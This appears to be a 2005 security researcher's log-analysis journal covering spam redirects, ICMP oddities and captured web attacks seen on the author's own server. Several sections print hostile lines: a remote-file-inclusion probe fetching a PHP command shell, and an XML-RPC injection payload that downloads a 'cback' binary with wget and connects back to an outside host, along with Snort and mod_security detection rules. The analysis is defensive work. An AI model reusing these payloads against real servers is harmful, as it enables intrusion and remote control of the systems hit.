RewriteCond %{HTTP:x-aaaaaaaaaa} [0123456789]+ [NC]

Andy once sent me a link to someone who redirected all types of particular traffic to some huge file and then watched as they ended up DoS-ing their own network. So what do you think these spammers want? A Linux kernel? Eh, why not. Here is the second part of my rule:

RewriteRule \.*$
http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.13.1.tar.gz [L]

Then, I spent a miserable amount of time (really only 20 minutes or so, but it was miserable) writing perl to inject a request that put x-aaaaaaaaaa in the header. I forgot about Paros Proxy, it has a manual request editor. You type in what you want and click send. I added the header to the existing template and the final copy looked like this:

GET http://spree.mnin.org/index.php HTTP/1.0
Host: www.blah.org
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;)
Accept: image/gif
x-aaaaaaaaaa: 1
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded

And here is what I got back:

HTTP/1.0 302 Moved Temporarily
Date: Thu, 22 Sep 2005 01:13:48 GMT
Server: Apache
Location: http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.13.1.tar.gz
Content-Length: 249
Content-Type: text/html; charset=iso-8859-1
Connection: close

Ha! Eat dirt, jerks. The first time I did this, the "follow redirect" option was enabled within Paros and the whole app froze (its a Java app, but still - it wouldn't proceed until it was done downloading the 50 meg kernel).

I will enjoy watching further requests come in with forged referrers. After reading the aggressive network self-defense book, I would consider myself a nice guy.

For a packet capture (via Snort) of this redirection in action, see the (Complimentary Kernel Pcap).

Anti-Pinging Software & Mysterious Spam

A friend of mine works for a company that investigates certain types of online fraud. In particular, they are heavy into tracking and prosecuting sellers of prescription drugs who then distribute the goods via snail mail. Recently, right after browsing a suspicious web site, my friend began getting spam messages from them. Here is the notice, in her own words:

yo. i am checking out more sites for work. i just looked through the site. now I am getting spam email messages from them. how do they know my email address?

Reportedly, they were investigating the business associated with www.showisnohit.com, which has since been taken offline. A few seconds later, this email made it's way into my friend's inbox:

Cialis $1.21
Valium $3.75
Viagra $3.33 

http://www.showisnohit.com

While this is certainly suspicious, I don't believe it was anything more than a coincidence. There was no data submission during the browsing of www.showisnohit.com. If this was not a coincidence, she sure has me stumped on "how did they know my email address?" Theoretically, there could be some spyware involved - maybe an ActiveX object that retrieves the address configured within Outlook or Outlook Express (only my friend doesn't use either of these). So, without the machine to investigate, or a web site to check out, this is all we know.

Later, there was a request for anti-pinging software - something to stop the sites under investigation from pinging the investigators. I mentioned a firewall.

Happy Hour Friday Invitations

On September 28, I received two invitations for Friday happy hour at Malcom's. Actually, two non-existent users at my domain received this message - I only saw the error messages. The body contained one line:

If there's enough interest, we'll have a happy hour at Malcom's.

The sender was "Office Events" and the subject was "Happy Hour Friday." Below is a copy of the message headers:

Return-Path: 
X-Original-To: ahape@mnin.org
Delivered-To: michali@mnin.org
Received: from mail.van-net.net (mail.van-net.net [144.202.242.201])
by spree.mnin.org (Postfix) with SMTP id 40C0416833
for ; Wed, 28 Sep 2005 14:07:00 -0400 (EDT)
From: "Office Events" 
To: "Ahape" 
Subject: Happy Hour Friday
Date: Wed, 28 Sep 2005 14:07:07 -0400
Reply-To: "Office Events" 
Message-ID: <37427797.20050928140707@van-net.net>
X-Priority: 3 (Normal)
MIME-Version: 1.0
Organization: Van Networks
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MNIN-MailScanner-Information: Please see mnin.org/moreinfo for more information
X-MNIN-MailScanner: Clean as a baby's...
X-MNIN-MailScanner-SpamCheck: not spam, SpamAssassin (score=4.597,
required 5, BAYES_99 3.50, PRIORITY_NO_NAME 1.10)
X-MNIN-MailScanner-SpamScore: ssss
X-MNIN-MailScanner-From: bouncebacks@van-net.net

The source domian van-net.net has a web site available, but it's under construction. I must wonder if this is spam that is missing some critical component (like, the point?), or if employees at van-net.net are really inviting me to party with them. If the later, please order me a Corona, I'll be there at 6 PM. Thanks.

Unfaithful German Web Browsers

Everyone has their preferences, especially when it comes to web browsers. Most people pick one and stick with it, but that's a hard decision for some people. What if browsers had feelings? What if we had to worry about them cheating on us, or getting jealous?

Someone was browsing my site recently and out of the blue, their browser produced two 404 (File Not Found) errors. It appears as if the browser was searching for date or a handjob.

84.151.238.179 - - [24/Sep/2005:10:32:36 -0400] "GET /write/2005_jpegtodll.html HTTP/1.1" 200 
24531 "http://www.google.de/search?num=100&hl=de&lr=&c2coff=1&sa=G&q=%2282.179.170.11%22" 
"Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6"

[...]

84.151.238.179 - - [24/Sep/2005:10:32:59 -0400] "GET /write/ip%20handjobs_dateien/upx.JPG HTTP/1.1" 
404 1307 "http://www.mnin.org/write/2005_jpegtodll.html" "Mozilla/5.0 (Windows; U; Windows NT 5.1; 
de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6"

84.151.238.179 - - [24/Sep/2005:10:32:59 -0400] "GET /write/ip%20handjobs_dateien/peinfo_arr3.jpg 
HTTP/1.1" 404 1307 "http://www.mnin.org/write/2005_jpegtodll.html" "Mozilla/5.0 (Windows; U; 
Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6"

So, what probably happened here was the computer user began using IE as a browser. Firefox then became jealous and started searching for alternatives. No, seriously, I have no idea what caused these log entries. According to the browser, one of my other research papers is the referrer, however that is not true (this is the only paper in which I talk about handjobs).

CSE, ZeroBoard, & Hatorihanzo Rootkit

The following entry was found in my access logs:

200.141.174.36 - - [06/Oct/2005:14:59:13 -0400] 
"GET /data/slims//bbs/include/write.php?dir=http://card4ever.webcindario.com/cse.gif?&cmd=id HTTP/1.0" 
404 1014 "-" "-"

Of course, this is poorly targeted attack. There is no write.php file on my web server. This attacker is likely looking for files associated with a weakness in ZeroBoard (see the SecurityFocus advisory here). However, the theoretical scenario is what makes this incident interesting. So, theoretically, if a vulnerable version of write.php was found in the requested location, my web server would have been used as a proxy to fetch cse.gif?&cmd=id from the remote web server - all on behalf of the original attacker at 200.141.174.36.

At this point, the attention turns to cse.gif. GIF images are cool, but as far as I know, they can't accept parameters and apply conditionals for program control. No, this is probably not a real GIF. It turns out the cse.gif is still available on the card4ever.webcindario.com (which happens to be running PHPBB 2.0.8) and surely enough, it's just HTML and PHP. CSE stands for Command/Safemode Exploit, or "Data Cha0s PHP Command/Safemode Exploit 4.1", as indicated in the code.

cse.gif gathers information on the host operating system, including UID, GID, Apache and PHP versions; then it echos this back to the requester. It has functions for connect back shells, portscans, sending fake emails, fetching other remote binary or source code, and last but not least - the hatorihanzo.c Linux local root exploit (attackers in SoTM 34 used this method).

For the cse.gif, in .gz form (best for safety of my own server), download it and extract from here).

Source Quench For Reconnaissance

This is highly accidental, and I chose to look into it further since IMCP source quench messages are so rare (at least on my network). The Network Sorcery site has a nice description of source quench, with references to the RFCs. The ICMP message is type 4 code 0. This particular instance came from adsl-64-172-148-146.dsl.scrm01.pacbell.net. Here is the payload, extracted from an IDS alert database, which includes the original packet's IP header and the first several bytes:

000 : 00 00 00 00 45 00 01 3D 35 5F 40 00 27 06 A9 CD   ....E..=5_@.'...
010 : 18 02 99 A4 C0 A8 01 40 00 50 11 6E 8B 0E 82 BD   .......@.P.n....
020 : 77 E6 1E 34 50 18 19 20 19 61 00 00 48 54 54 50   w..4P.. .a..HTTP
030 : 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 44 61 74   /1.1 200 OK..Dat
040 : 65 3A 20 4D 6F 6E 2C 20 33 31 20 4F 63 74 20 32   e: Mon, 31 Oct 2
050 : 30 30 35 20 30 36 3A 30                           005 06:0

Judging by the contents, it appears as if the remote user was browsing material on a web site I host when the source quench was invoked. This is basically a method of telling the sender that the TCP/IP buffer is full and can't accept data at such an extreme pace. My bandwidth in the upload direction shouldn't be capable of flooding a DSL customer's line, so more likely the client is experiencing some other sort of problem - likely an application is slow to clear the buffer or it is communicating with several other servers concurrently.

First, it would be helpful to know exactly what the user was browsing when this all took place. I dove into some access logs and found the following:

64.172.148.146 - - [31/Oct/2005:01:03:00 -0500] "GET /ks/albums/album16/dsc01155.jpg HTTP/1.1" 200 152827
64.172.148.146 - - [31/Oct/2005:01:03:00 -0500] "GET /albums/album40/DSC02465.jpg HTTP/1.1" 200 148125 
64.172.148.146 - - [31/Oct/2005:01:03:08 -0500] "GET /ks/albums/album17/dsc01256.jpg HTTP/1.1" 200 150732 
64.172.148.146 - - [31/Oct/2005:01:03:08 -0500] "GET /ks/albums/album17/dsc01247.jpg HTTP/1.1" 200 153676 
64.172.148.146 - - [31/Oct/2005:01:03:13 -0500] "GET /ks/albums/album29/dsc01773.jpg HTTP/1.1" 200 150279

The last field in these entries is the amount of data sent back to the client. In this rare case, it doesn't necessarily mean that the client accepted it. In total, that is 755,626 bytes (excluding headers and ACKs) over a course of approximately thirteen seconds. I say approximately because as we learned in SoTM 34 that the times in web access logs don't always correspond 100% with the actual time of network connections according to the kernel. The entire session actually lasted from 01:02:43 to 01:03:16, but the file transfers were not requested immediately.

It isn't shown in the access logs, but the User Agent string contains data on the operating system of the client (Windows NT 5.1). If you browse to the registry on an NT box and find the TcpWindowSize key, the default value will show "0xfaf0", or 64240 in decimal. On an otherwise completely inactive system, the buffer can accept 64240 bytes before reaching it's maximum depth, at which time it will be "...forced to discard incoming datagrams due to a shortage of reassembly buffers or other resources," [Network Sorcery].

When this DSL client first connects to our web server to establish the TCP connection, the value of faf0 is evident:

10/31-01:02:43.041132 64.172.148.146:4463 -> 10.1.1.123:80
TCP TTL:107 TOS:0x20 ID:42945 IpLen:20 DgmLen:48 DF
******S* Seq: 0x77E588AD  Ack: 0x0  Win: 0xFAF0  TcpLen: 28
TCP Options (4) => MSS: 1452 NOP NOP SackOK

As a quick side note (this has nothing to do with the source quench), check out my server's SYN-ACK reply:

10/31-01:02:43.041225 10.1.1.123:80 -> 64.172.148.146:4463
TCP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:48 DF
***A**S* Seq: 0x8AA628DF  Ack: 0x77E588AE  Win: 0x16D0  TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

Notice anything strange? The IP ID:0 caught my eye. Although I'm not running a 2.4.x kernel, Ofir Arkin's bugtraq entry explains the phenomena well.

So back to the source quench. We know that when the client first communicated with us, it advertised a a healthy window value of faf0. This was at 1:02:43. The source quench hit my perimeter firewall at 1:03:00. Keep in mind the packet capture data and web access longs are from a different system than the firewall, however the time is perfectly synced between the two.

The access logs show two GET requests were made at 1:03:00 on the dot. This would suggest that the source quench occured on the client machine when it was presented with the bytes that compose dsc01155.jpg and/or DSC02465.jpg (they were both requested at 1:03:00). One interesting fact that isn't shown so far is that these two GET requests were actually made via individual TCP connections. That's right, the remote system initiated a connection using client port 4462 and requested dsc01155.jpg. Within the same hundredth of a second, it initiated a connection using client port 4463 and requested DSC02465.jpg.

So, exactly which data packet was responsible for invoking the source quench? It's a bit difficult to determine with the IDS alert payload above, but luckily the firewall logs all non-ping related ICMP messages.

Oct 31 01:03:00 fire kernel: IPTABLES DROP: IN=eth1 OUT= MAC=00:04:5a:7f:16:bb:00:0d:66:27:34:54:08:00 
SRC=64.172.148.146 DST=24.2.153.164 LEN=112 TOS=0x00 PREC=0x20 TTL=236 ID=22929 DF PROTO=ICMP TYPE=4 CODE=0 
[SRC=24.2.153.164 DST=192.168.1.64 LEN=317 TOS=0x00 PREC=0x00 TTL=39 ID=13663 DF PROTO=TCP SPT=80 DPT=4462 
WINDOW=6432 RES=0x00 ACK PSH URGP=0 ]

This tells us that the responsible packet left our server with IP ID 13663 and was aimed at destination port 4462. We can easily locate ID:13663 in the packet capture. Here is the responsible packet:

10/31-01:03:00.652293 10.1.1.123:80 -> 64.172.148.146:4462
TCP TTL:64 TOS:0x0 ID:13663 IpLen:20 DgmLen:317 DF
***AP*** Seq: 0x8B0E82BD  Ack: 0x77E61E34  Win: 0x1920  TcpLen: 20
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D  HTTP/1.1 200 OK.
0A 44 61 74 65 3A 20 4D 6F 6E 2C 20 33 31 20 4F  .Date: Mon, 31 O
63 74 20 32 30 30 35 20 30 36 3A 30 33 3A 30 30  ct 2005 06:03:00
20 47 4D 54 0D 0A 53 65 72 76 65 72 3A 20 41 70   GMT..Server: Ap
61 63 68 65 0D 0A 4C 61 73 74 2D 4D 6F 64 69 66  ache..Last-Modif
69 65 64 3A 20 54 68 75 2C 20 30 31 20 53 65 70  ied: Thu, 01 Sep
20 32 30 30 35 20 31 31 3A 31 33 3A 34 32 20 47   2005 11:13:42 G
4D 54 0D 0A 45 54 61 67 3A 20 22 31 38 35 37 35  MT..ETag: "18575
2D 32 34 32 39 64 2D 66 30 31 30 65 35 38 30 22  -2429d-f010e580"
0D 0A 41 63 63 65 70 74 2D 52 61 6E 67 65 73 3A  ..Accept-Ranges:
20 62 79 74 65 73 0D 0A 43 6F 6E 74 65 6E 74 2D   bytes..Content-
4C 65 6E 67 74 68 3A 20 31 34 38 31 32 35 0D 0A  Length: 148125..
4B 65 65 70 2D 41 6C 69 76 65 3A 20 74 69 6D 65  Keep-Alive: time
6F 75 74 3D 31 35 2C 20 6D 61 78 3D 31 30 30 0D  out=15, max=100.
0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65  .Connection: Kee
70 2D 41 6C 69 76 65 0D 0A 43 6F 6E 74 65 6E 74  p-Alive..Content
2D 54 79 70 65 3A 20 69 6D 61 67 65 2F 6A 70 65  -Type: image/jpe
67 0D 0A 0D 0A                                   g....

This can be cross-referenced with the payload of the IDS alert. Remember the ICMP source quench returns the IP header and first 44 bytes of the original packet in it's message. The ASCII server response is pretty clear. Although we don't have the transport layer header which would show the port numbers, we do have some good information in the IP header, such as the IP ID. If you look carefully at the first line in the IDS payload and find the field which corresponds to the IP ID, it should equal 13663:

000 : 00 00 00 00 45 00 01 3D 35 5F 40 00 27 06 A9 CD

The IP header starts at the "45" byte. The IP ID is 2 bytes long and follows shortly thereafter - "35 3F". The 0x353F is 13663 in decimal.

To summarize, we now know the exact date and time when the client requested a particular file; and what the initial window size was. We can distinquish the entry this request made in the web server's access log from the other four entries because the ICMP "bounce" payload contained enough information to track the ports and IP ID numbers. This in turn gave us the ability to find the full 317 bytes of the original packet (of which we only had 44 from the bounce).

The strange thing is that, well, it's only 317 bytes. Since when does 317 bytes not fit in a buffer 64240 bytes deep? Most likely the client is communicating with several other servers at the same time. The 317 byte packet wasn't responsible for somehow filling the whole buffer, it's just the one that threw it over the edge. However, if you read the Network Sorcery URL above, the RFC states that source quench messages may be sent not only when the buffer has reached maximum capacity, but when it is nearing maximum capacity.

So what does this all mean for security? Is my network any less secure because it was invited to passively participate in a temporary, miniscule denial of service against a client system? Is the remote network any less secure because it conformed to RFC protocol and asked nicely for the sending TCP stack to take it easy? The answer has yet to be discussed, but you may have seen it in the logs above.

When the client system returns the IP header of the original packet in it's source quench message, it exposes it's internal IP address. This can be seen in the second line of the IDS capture:

010 : 18 02 99 A4 C0 A8 01 40 00 50 11 6E 8B 0E 82 BD   .......@.P.n....

Hex fanatics would immediately recognize the C0 A8 value, which is 192 and 168, respectively. It's the first two octets of the client machine's internal IP address, which in full is 192.168.1.64 (this can also be seen in the firewall log above). Although it was stated earlier that this payload contains the original packet's IP header, the original packet did not leave my network addressed to 192.168.1.64. With this information we can probably guess that the client machine is behind some type of NAT device, configured with external interface IP of 64.172.148.146 and an inside network in the 192.168.1.x range.

So, a critical information leak? No, especially not to the home DSL user. But, if we were able to direct client systems to compromised servers (via browser redirection, URLs in email, etc) capable of inducing source quence messages, then the attacker could learn quite a bit about a target's network layout. It would appear to the target as if nothing out of the ordinary happened, there would be no traces of nmap and there would be no incoming scans at all.

Finally, the remote system exhibited some additional strange behavior about 15 seconds later. This is quite a while after the source quench episode and as you can see in the first packet below - the window is back to a healthy faf0 (but not for long).

10/31-01:03:15.522337 64.172.148.146:4463 -> 10.1.1.123:80
TCP TTL:107 TOS:0x20 ID:46776 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x77E58ABE  Ack: 0x8AAA009F  Win: 0xFAF0  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

10/31-01:03:15.605414 64.172.148.146:4463 -> 10.1.1.123:80
TCP TTL:107 TOS:0x20 ID:46785 IpLen:20 DgmLen:40 DF
*****R** Seq: 0x77E58ABE  Ack: 0x8B13C422  Win: 0x0  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

10/31-01:03:15.607902 64.172.148.146:4462 -> 10.1.1.1230:80
TCP TTL:107 TOS:0x20 ID:46788 IpLen:20 DgmLen:40 DF
*****R** Seq: 0x77E62044  Ack: 0x8B13C422  Win: 0x0  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

10/31-01:03:15.614986 64.172.148.146:4462 -> 10.1.1.123:80
TCP TTL:107 TOS:0x20 ID:46813 IpLen:20 DgmLen:40
*****R** Seq: 0x77E62044  Ack: 0x77E62044  Win: 0x0  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

10/31-01:03:15.661039 64.172.148.146:4462 -> 10.1.1.123:80
TCP TTL:107 TOS:0x20 ID:46817 IpLen:20 DgmLen:40
*****R** Seq: 0x77E62044  Ack: 0x77E62044  Win: 0x0  TcpLen: 20

All of the sudden the window hits zero and the remote system goes on a rampage of connection reset transmissions (there is an addition 15 or so not shown here). We could probably raise a few theories here, but in the interest of moving on, I'll let it go for now.

Hello and Goodbye Pings From Hallmark

There is a strange correlation between receiving an e-card from hallmark.com and receiving two 1,500 byte echo requests full of 0x00 from Hallmark's mail servers. The thought crossed my mind - maybe this is a good idea: ping the address of a remote mail server before initiating a TCP connection. That way, if the server doesn't reply, you don't waste your time trying to deliver a message to an offline machine. Then it hit me - no, this is a terrible idea.

First, administrators should know by now that when an address doesn't echo reply, it isn't necessarily offline. Second, if an administrator was so concerned about wasting resources with a connection attempt, would he reasonably go through the trouble of coding up an MTA to take such steps...and then execute the echo request with a 1,500 byte packet? I would think even if this crazy scenario was true, a normal sized echo request would work just fine. Then it hit me again - the Hallmark servers ping me both before *and* after the email delivery. If the first ping is to determine if an address is available, there would be no need for a second ping *after* a successful TCP connection.

Nonetheless, this is exactly what we observe. At 13:33:43, 129.33.92.44 (mail069.hallmark.com), sends an ICMP type 8 code 0 with 1,472 0x00 bytes in the payload. We get 1,472 from 1,500 when the 20 byte IP header and 8 byte ICMP header are subtracted.

Oct 31 13:33:43 fire snort: [1:499:5] ICMP Large ICMP Packet [Classification:
Potentially Bad Traffic] [Priority: 2]: {ICMP} 129.33.92.44 -> 24.2.153.164

There is no need to show the full packet capture here, since like I said, it's 1,472 0x00 bytes. One peice of information, however is useful for determining time order relationship (besides the actual time stamp). The IP ID of this first ping is 37945. The second ping from Hallmark's mail server came 56 seconds later, at 13:34:39, and was accompanied by IP ID 64899:

Oct 31 13:34:39 fire snort: [1:499:5] ICMP Large ICMP Packet [Classification:
Potentially Bad Traffic] [Priority: 2]: {ICMP} 129.33.92.44 -> 24.2.153.164

If the Hallmark system is like most, the IP ID field is incremented by 1 with each outgoing IP packet. We could then assume that in a matter of 56 seconds, this machine sent (64899-37945=) 26954 packets. As previously noted, this can tie into the delivery of an email from Hallmark notifying me of an e-card:

Oct 31 13:33:43 spree postfix/smtpd[20055]: connect from mail069.hallmark.com[129.33.92.44]
Oct 31 13:33:43 spree postfix/smtpd[20055]: EBC262135A: client=mail069.hallmark.com[129.33.92.44]
Oct 31 13:33:44 spree postfix/smtpd[20055]: disconnect from mail069.hallmark.com[129.33.92.44]

These entries in the mail log show the exact same time (13:33:43) as the first ping. This gives us no reliable indication on whether the first ping came before or after the TCP SMTP connection. It's obvious, per a difference of 56 seconds, that the second ping came after the TCP SMTP connection. As always, we can look to the packet capture to fill in the void. Here is the final packet in connection initiation from the Hallmark server (this is the 3rd packet involved in the TCP 3-way handshake - somehow the first SYN mysteriously disappeared from the capture):

10/31-13:33:43.493735 129.33.92.44:42358 -> 10.1.1.123:25
TCP TTL:41 TOS:0x20 ID:37954 IpLen:20 DgmLen:40
***A**** Seq: 0x6FEA6F1  Ack: 0x9EF60A19  Win: 0x40B0  TcpLen: 20

The IP ID value in this header is 9 greater than the IP ID in the first ping. That would reliably suggest that the first ping did in fact occur before the TCP SMTP connection was attempted. Twenty-eight packets later, once the SMTP session was complete and e-mail message delivered, the IP ID of the Hallmark server was up to 38313. As described in the Source Quench observation, the Hallmark machine was likely communicating with multiple other Internet hosts concurrently. That would explain why only 56 seconds later, the ID is all the way up to 64899. For a quick fact, the IP ID field in the IP header is 16 bits in length, making the maximum value 65,535. Once this point is reached, it wraps back around to 0 and starts again.

As an addendum, the 1,500 byte 0x00 echo requests seem to be a fad lately. On Friday, November 4, there were 84 pings of this size and character from 4 unique source addresses: 130.239.18.137, 130.239.18.142, 130.239.18.165, and 130.239.18.173. Respectively, these resolve to tutankhamon.acc.umu.se, caesar.acc.umu.se, hammurabi.acc.umu.se, and napoleon.acc.umu.se. A bit of investigation shows that these are all FTP servers belonging to the Academic Computer Club of Umea University, Sweden.

I plugged caesar into a web browser and was welcomed by the FTP directories listing. A few seconds later my IDS was going off due to a large incoming ICMP echo request - the source was caesar. To reproduce, I ran a packet capture on the border gateway and accessed the site again:

# /usr/sbin/tcpdump -i eth1 net 130.239.18.0 mask 255.255.255.0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes

21:48:55.395615 IP c-24-2-153-164.hsd1.ct.comcast.net.46158 > caesar.acc.umu.se.http: 
S 298027274:298027274(0) win 5840 

21:48:55.511862 IP caesar.acc.umu.se.http > c-24-2-153-164.hsd1.ct.comcast.net.46158: 
S 4239413183:4239413183(0) ack 298027275 win 65535 

21:48:55.511934 IP c-24-2-153-164.hsd1.ct.comcast.net.46158 > caesar.acc.umu.se.http: 
. ack 1 win 5840 

21:48:55.512656 IP c-24-2-153-164.hsd1.ct.comcast.net.46158 > caesar.acc.umu.se.http: 
P 1:545(544) ack 1 win 5840 

21:48:55.512851 IP caesar.acc.umu.se > c-24-2-153-164.hsd1.ct.comcast.net: icmp 1480: echo request seq 0

Apparently the servers ping any host that initiate connections. But, as far as I know, I didn't visit any of the acc.umu.se FTP servers on November the 4th - so what caused the first 84? Interestingly, caesar.acc.umu.se points to the same IP as ftp.mozilla.org - and I updated Firefox on the 4th. So that explains it.

We still don't know the reason these pings are sent, and furthermore why they have to be 1,500 bytes instead of just normal pings. It also doesn't explain the Hallmark incident. Recall the Hallmark pings were sent before my e-card notification even arrived. I would not have been visiting the hallmark.com web site looking for an e-card that had not yet been issued. That's all for now.

XML RPC Scans, Defenses, And Logfiles

This is an edited reprint of an email sent to ISC on October 10th. Apparently at that time, the scans weren't widespread enough to be worrysome. The attacks are now so popular (November 5) that it's been the diary highlight for the past two days: http://isc.sans.org/diary.html?storyid=823. If exploited, the server would fetch 217.160.255.44/cback and then connect back to 216.55.159.52:8080.

The alerts were caught by Bleeding Snort SID 2002158 and reported via SQL Swatchless:

----------------------------- Original Message ----------------------------
Subject: {Snort Alert} Spree [1] BLEEDING-EDGE EXPLOIT XML-RPC for PHP
Remote Code Injection [Classification: Web Application Attack]
From:    michael.ligh@mnin.org
Date:    Mon, October 10, 2005 10:07 pm
To:      michael.ligh@mnin.org
---------------------------------------------------------------------------

------[ Alert

Oct 10 21:57:45 spree snort[14629]: [1:2002158:2] BLEEDING-EDGE EXPLOIT
XML-RPC for PHP Remote Code Injection [Classification: Web Application
Attack] [Priority: 1]: {TCP} 24.224.174.18:1303 -> 10.1.1.123:80

------[ Rule

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"BLEEDING-EDGE EXPLOIT XML-RPC for PHP Remote Code Injection";
flow:established,to_server; content:"POST"; depth:4; nocase;
uricontent:"xmlrpc.php"; content:"methodCall"; nocase;
pcre:"/>.*\'\s*\)\s*\)*\s*\;/";
reference:url,www.securityfocus.com/bid/14088/exploit;
reference:cve,2005-1921; classtype: web-application-attack; sid:2002158;
rev:2;)

------[ Packet (1/1)

50 4F 53 54 20 2F 62 32 65 76 6F 2F 78 6D 6C 73         POST /b2evo/xmls
72 76 2F 78 6D 6C 72 70 63 2E 70 68 70 20 48 54         rv/xmlrpc.php HT
54 50 2F 31 2E 31 0A 48 6F 73 74 3A 20 32 34 2E         TP/1.1.Host: 24.
32 2E 31 35 33 2E 31 36 34 0A 43 6F 6E 74 65 6E         2.153.164.Conten
74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78 6D 6C         t-Type: text/xml
0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A         .Content-Length:
32 36 39 0A 0A 3C 3F 78 6D 6C 20 76 65 72 73 69         269..test.method
3C 6E 61 6D 65 3E 27 2C 27 27 29 29 3B 65 63 68         ',''));ech
6F 20 27 5F 62 65 67 69 6E 5F 27 3B 65 63 68 6F         o '_begin_';echo
20 60 63 64 20 2F 74 6D 70 3B 77 67 65 74 20 32          `cd /tmp;wget 2
31 37 2E 31 36 30 2E 32 35 35 2E 34 34 2F 63 62         17.160.255.44/cb
61 63 6B 3B 63 68 6D 6F 64 20 2B 78 20 63 62 61         ack;chmod +x cba
63 6B 3B 2E 2F 63 62 61 63 6B 20 32 31 36 2E 35         ck;./cback 216.5
35 2E 31 35 39 2E 35 32 20 38 30 38 30 60 3B 65         5.159.52 8080`;e
63 68 6F 20 27 5F 65 6E 64 5F 27 3B 65 78 69 74         cho '_end_';exit
3B 2F 2A 3C 2F 6E 61 6D 65 3E 3C 2F 76 61 6C 75         ;/*

------[ Details (1/1)

TCP Flags:  ACK  PSH

------[ DNS

IP (24.224.174.18): static-224-174-18.eastlink.ca.

------[ IANA Whois (Source)

Country: CA
Netname: ANDARA-BLK-2
Descr: Andara High Speed Internet c/o Halifax Cablevision LTD.
Status: Direct Allocation
Source: ARIN
Server: ARIN
Inetnum: 24.224.128.0 - 24.224.255.255

The attacker also probed the following locations (you'll see slight variations between here and the SANS diary):

24.224.174.18 - - [10/Oct/2005:21:56:44 -0400] "POST /xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:56:49 -0400] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:56:54 -0400] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:56:59 -0400] "POST /services/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:04 -0400] "POST /blog/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:09 -0400] "POST /drupal/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:14 -0400] "POST /community/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:20 -0400] "POST /blogs/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:25 -0400] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:30 -0400] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:35 -0400] "POST /blogtest/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:40 -0400] "POST /b2/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:45 -0400] "POST /b2evo/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"
24.224.174.18 - - [10/Oct/2005:21:57:50 -0400] "POST /wordpress/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"

All requests were responded to with an HTTP 500 error (Server Internal Error), however my server has zero vulnerable xmlrpc.php scripts available. The 500 errors were produced by mod_security with the following rule active:

SecFilterSelective HTTP_Content-Type "!(^$|^application/x-www-form-urlencoded$|^multipart/form-data)"

To see the full POST payload and server replies as a 145-packet capture converted to ASCII, view the XML RPC Snort Capture.

Team2 Brute Force SSH Kit

Someone wrote to Full Disclosure after finding team2.tgz on his Red Hat web server. More than likely it got there as a result of some vulnerable web application. The item extracted into several individual files:

# tar -xvzf team2.tgz
team2/
team2/start
team2/ssh-scan
team2/pass_file
team2/pscan2
team2/pico

Out of the five files, three were ELF executables and the other two were plain text documents:

# file *
pass_file: ASCII C++ program text
pico:      ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), stripped
pscan2:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
ssh-scan:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
start:     Bourne-Again shell script text

It only makes sense that pass_file contains 95415 username/password combinations. For example, here are a few from the end of the list:

# wc -l pass_file; tail -n 5 pass_file
95415 pass_file
root loginroot
root amd
root ibm
root idle

